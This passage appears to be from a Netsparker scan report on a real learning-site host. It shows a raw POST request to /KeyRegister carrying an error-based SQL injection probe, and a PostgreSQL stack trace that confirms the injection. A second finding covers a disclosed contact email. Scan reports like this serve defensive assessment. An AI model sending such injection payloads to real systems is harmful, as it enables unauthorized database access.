org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) javax.servlet.http.HttpServlet.service(HttpServlet.java:803) org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:694) org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:665) org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:806) org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:779) org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:146) org.apache.jasper.runtime.HttpJsp..
Postgres Server Identified

Postgres Server Identified
1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using PostgreSQL Server. This is generally not a security issue and is reported here for information purposes only.

Impact

There is no impact.
- /KeyRegister

/KeyRegister CONFIRMED

http://learn.bridgefront.com/KeyRegister

Request

POST /KeyRegister HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Content-Length: 218
Accept-Encoding: gzip, deflate

replace2_ul_='%7C%7Ccast((select%20chr(95)%7C%7Cchr(33)%7C%7Cchr(64)%7C%7Cchr(53)%7C%7Cchr(100)%7C%7Cchr(105)%7C%7Cchr(108)%7C%7Cchr(101)%7C%7Cchr(109)%7C%7Cchr(109)%7C%7Cchr(97))%20as%20numeric)%7C%7C'&submit=Register

Response

HTTP/1.1 500 Internal Server Error
Date: Tue, 26 Apr 2011 01:17:49 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 6637
Connection: close
Content-Type: text/html; charset=UTF-8



<html>
<head><title>Application Error </title>

<script language="JavaScript" type="text/JavaScript">

function showdiv2(param)
{
if(param=="show")
{
document.all.div1.style.visibility="visible";
// document.errorform.r2.value="specific";
}
else
{
document.all.div1.style.visibility="hidden";
// document.errorform.r2.value="all";
}
}

</script>

</head>
<body bgcolor="#FFFFFF">

<font face="Helvetica">

<h2><font color=#DB1260>Ooooops... An Error Occured.</font></h2>

<pre>
<b>
SERVER NAME: learn.bridgefront.comSERVER PORT: 80REMOTE HOST: 173.193.214.243EXCEPTION: java.lang.NullPointerExceptionJSP REQUESTED: /errorpage.jsp?null
<table border="0">

<tr>
<td>
<input type="radio" checked value="hide" name="R2" onClick="showdiv2('hide')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial" >Hide Details</font><br>
</td>
<td>
<input type="radio" value="show" name="R2" onClick="showdiv2('show')">&nbsp;&nbsp;
<font color="#000080" size="2" face="Arial">Show Details</font><br>
</td>
</tr>
</table>
<hr width=100%>
<DIV ID="div1" STYLE="visibility:hidden">
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#111111" width="100%" id="AutoNumber2">
<tr>
<td>
org.postgresql.util.PSQLException: ERROR: invalid input syntax for type numeric: "_!@5dilemma" at org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:1592) at org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1327) at org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:192) at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:451) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeWithFlags(AbstractJdbc2Statement.java:336) at org.postgresql.jdbc2.AbstractJdbc2Statement.executeQuery(AbstractJdbc2Statement.java:235) at org.apache.tomcat.dbcp.dbcp.DelegatingStatement.executeQuery(DelegatingStatement.java:208) at com.user.KeyRegister.doPost(KeyRegister.java:41) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
<tr><td>--------------------</td></tr>
<tr>
<td>java.lang.NullPointerException at org.apache.jsp.errorpage_jsp._jspService(errorpage_jsp.java:129) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:374) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:337) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:266) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.ApplicationDispatcher.invoke(ApplicationDispatcher.java:630) at org.apache.catalina.core.ApplicationDispatcher.processRequest(ApplicationDispatcher.java:436) at org.apache.catalina.core.ApplicationDispatcher.doForward(ApplicationDispatcher.java:374) at org.apache.catalina.core.ApplicationDispatcher.forward(ApplicationDispatcher.java:302) at com.user.KeyRegister.sendErrorRedirect(KeyRegister.java:135) at com.user.KeyRegister.doPost(KeyRegister.java:101) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:175) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:128) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) at org.apache.catalina.ha.session.JvmRouteBinderValve.invoke(JvmRouteBinderValve.java:209) at org.apache.catalina.ha.tcp.ReplicationValve.invoke(ReplicationValve.java:347) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:286) at org.apache.jk.server.JkCoyoteHandler.invoke(JkCoyoteHandler.java:190) at org.apache.jk.common.HandlerRequest.invoke(HandlerRequest.java:283) at org.apache.jk.common.ChannelSocket.invoke(ChannelSocket.java:767) at org.apache.jk.common.ChannelSocket.processConnection(ChannelSocket.java:697) at org.apache.jk.common.ChannelSocket$SocketConnection.runIt(ChannelSocket.java:889) at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:690) at java.lang.Thread.run(Thread.java:619)
</td>
</tr>
</table>

<p>
<hr width=100%>
</body>
</html>
E-mail Address Disclosure

E-mail Address Disclosure
1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /intro/

/intro/

http://learn.bridgefront.com/intro/

Found E-mails

info@bridgefront.com

Request

GET /intro/ HTTP/1.1
Referer: http://learn.bridgefront.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Cookie: JSESSIONID=8FFB3759A352D98FFEA3A5A0445029C3
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:16:46 GMT
Server: Apache/2.2.3 (Red Hat)
ETag: W/"4744-1302518279000"
Last-Modified: Mon, 11 Apr 2011 10:37:59 GMT
Content-Length: 4744
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="Author Email" content="info@bridgefront.com" /> <meta name="Author Homepage" content="http://learn.bridgefront.com" /> <meta name="DC.creator" content="BridgeFront" /> <meta name="DC.contributor" content="BridgeFront" /> <meta name="DC.publisher" content="BridgeFront" /> <meta name="itunes.block" content="No" /> <meta name="itunes.explicit" content="Clean" /> <meta name="itunes.category" content="Arts" /> <meta name="DC.title" content="LMS-Tutorial" /> <meta name="DC.date" content="2011-03-12 12:00:00 AM" /> <title>BridgeFront LMS</title> <script type="text/javascript" src="swfobject.js"></script> <script type="text/javascript"> swfobject.registerObject("csSWF", "9.0.115", "expressInstall.swf"); </script> <style type="text/css"> body { background-color: #1a1a1a; font: .8em/1.3em verdana,arial,helvetica,sans-serif; text-align: center; } #media { margin-top: 40px; } #noUpdate { margin: 0 auto; font-family:Arial, Helvetica, sans-serif; font-size: x-small; color: #cccccc; text-align: left; width: 210px; height: 200px; padding: 40px; } </style> </head> <body> <div id="media"> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="640" height="498" id="csSWF"> <param name="movie" value="LMS-Tutorial_controller.swf" /> <param name="quality" value="best" /> <param name="bgcolor" value="#1a1a1a" /> <param name="allowfullscreen" value="true" /> <param name="scale" value="showall" /> <param name="allowscriptaccess" value="always" /> <param name="flashvars" value="autostart=false&thumb=BF-logo-Intro.jpg&thumbscale=45&color=0x000000,0x000000" /> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="LMS-Tutorial_controller.swf" width="640" height="498"> <param name="quality" value="best" /> <param name="bgcolor" value="#1a1a1a" /> <param name="allowfullscreen" value="true" /> <param name="scale" value="showall" /> <param name="allowscriptaccess" value="always" /> <param name="flashvars" value="autostart=false&thumb=BF-logo-Intro.jpg&thumbscale=45&color=0x000000,0x000000" /> <!--<![endif]--> <div id="noUpdate"> <p>The Camtasia Studio video content presented here requires a more recent version of the Adobe Flash Player. If you are you using a browser with JavaScript disabled please enable it now. Otherwise, please update your version of the free Flash Player by <a href="http://www.adobe.com/go/getflashplayer">downloading here</a>.</p> </div> <!--[if !IE]>--> </object> <!--<![endif]--> </object> </div> <div id="media"> <object id="csSWF" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="498" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0"> <param name="src" value="LMS-Tutorial_controller.swf"/> <param name="bgcolor" value="#1a1a1a"/> <param name="quality" value="best"/> <param name="allowScriptAccess" value="always"/> <param name="allowFullScreen" value="true"/> <param name="scale" value="showall"/> <param name="flashVars" value="autostart=false"/> <embed name="csSWF" src="LMS-Tutorial_controller.swf" width="640" height="498" bgcolor="#1a1a1a" quality="best" allowScriptAccess="always" allowFullScreen="true" scale="showall" flashVars="autostart=false&thumb=BF-logo-Intro.jpg&thumbscale=45&color=0x000000,0x000000" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"></embed> </object> </div> </body></html>